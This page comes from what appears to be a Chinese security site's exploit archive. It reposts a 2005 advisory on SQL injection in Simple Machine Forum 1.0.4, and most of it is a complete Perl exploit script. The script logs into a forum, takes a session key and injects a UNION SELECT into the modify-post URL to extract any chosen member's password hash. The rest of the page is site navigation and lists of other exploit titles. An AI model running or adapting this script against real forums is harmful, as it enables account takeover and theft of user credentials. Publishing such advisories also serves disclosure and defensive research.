首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Simple Machine Forum SQL Injection (modify)
来源:http://www.gulftech.org 作者:James 发布时间:2005-06-24  

Simple Machine Forum SQL Injection (modify)

Summary
"Simple Machine Forum is a next-generation community software package and is jam-packed with features, while at the same time having a minimal impact on resources."

SQL Injection vulnerability discovered in Simple Machine Forum allows remote attackers to inject arbitrary SQL statements, the following exploit code will retrieve the password has of the user ID of the attacker's choosing.

Credit:
The information has been provided by James.
The original article can be found at: http://www.gulftech.org

Details
Vulnerable Systems:
* Simple Machine Forum version 1.0.4

Exploit:
#!/usr/bin/perl -w
########################################
# SMF Modify SQL Injection // All Versions // By James http://www.gulftech.org #
########################################
# Simple proof of concept for the modify post SQL Injection issue I discovered #
# in Simple Machine Forums. Supply this script with your username password and #
# the complete url to a post you made, and have permission to edit. 06/19/2005 #
########################################

use LWP::UserAgent;

if ( !$ARGV[3] )
{
print "Usage: smf.pl user pass target_uid modify_url\n";
exit;
}

print "##########################\n";
print "# Simple Machine Forums Modify Post SQL Injection #\n";
print "##########################\n";

my $user = $ARGV[0]; # your username
my $pass = $ARGV[1]; # your password
my $grab = $ARGV[2]; # the id of the target account
my $post = $ARGV[3]; # the entire url to modify a post you made
my $dump = '%20UNION%20SELECT%20memberName,0,passwd," . "0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=' . $grab . '/*';
$post =~ s/msg=([0-9]{1,10})/msg=$1$dump/;
my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die("[!] The post url you entered seems invalid!\n");

my $ua = new LWP::UserAgent;
$ua->agent("SMF Hash Grabber v1.0" . $ua->agent);

$ua->cookie_jar({});

print "[*] Trying $path ...\n";

my $req = new HTTP::Request POST => $path . "/index.php?action=login2";
$req->content_type('application/x-www-form-urlencoded');
$req->content('user=' . $user . '&passwrd=' . $pass . '&cookielength=-1');
my $res = $ua->request($req);

print "[*] Logging In ...\n";

# When a correct login is made, a redirect is issued, and no
# text/html is sent to the browser really. We put 1024 to be
# safe. This part can be altered in case of modded installs!
if ( length($res->content) < 1024 )
{
print "[+] Successfully logged in as $user \n";
my $sid = $ua->get($path . '/index.php?action=profile;sa=account');

# We get our current session id to be used
print "[*] Trying To Get Valid Sesc ID \n";
if ( $sid->content =~ /sesc=([a-f0-9]{32})/ )
{
# Replace the old session parameter with the
# new one so we do not get an access denied!
my $sesc = $1;
$post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/;

print "[+] Valid Sesc Id : $sesc\n";
print "[*] Trying to get password hash ...\n";

my $pwn = $ua->get($post);
if ( $pwn->content =~ />([a-z0-9]{32})<\//i )
{
print "[+] Got the password hash!\n";
print "[+] Password Hash : $1\n";
}
else
{
print "[!] Exploit Failed! Try manually verifying the vulnerability \n";
}
}
else
{
print '[!] Unable to obtain a valid sesc key!!';
exit;
}
}
else
{
print '[!] There seemed to be a problem logging you in!';
exit;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·phpBB Multiple User Registerat
·Microsoft Server Message Block
·PeerCast <= 0.1211 HTTP Req
·Microsoft Outlook Express NNTP
·eXtropia WebStore Remote Comma
·Veritas Backup Exec Agent CONN
·Ultimate PHP Board Password Ha
·TCP-IP Datalook DoS Vulnerabil
·Claroline E-Learning Applicati
·Stream/raped DoS
·WordPress <= 1.5.1.1 cat_id
·Microsoft Message Queuing Remo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved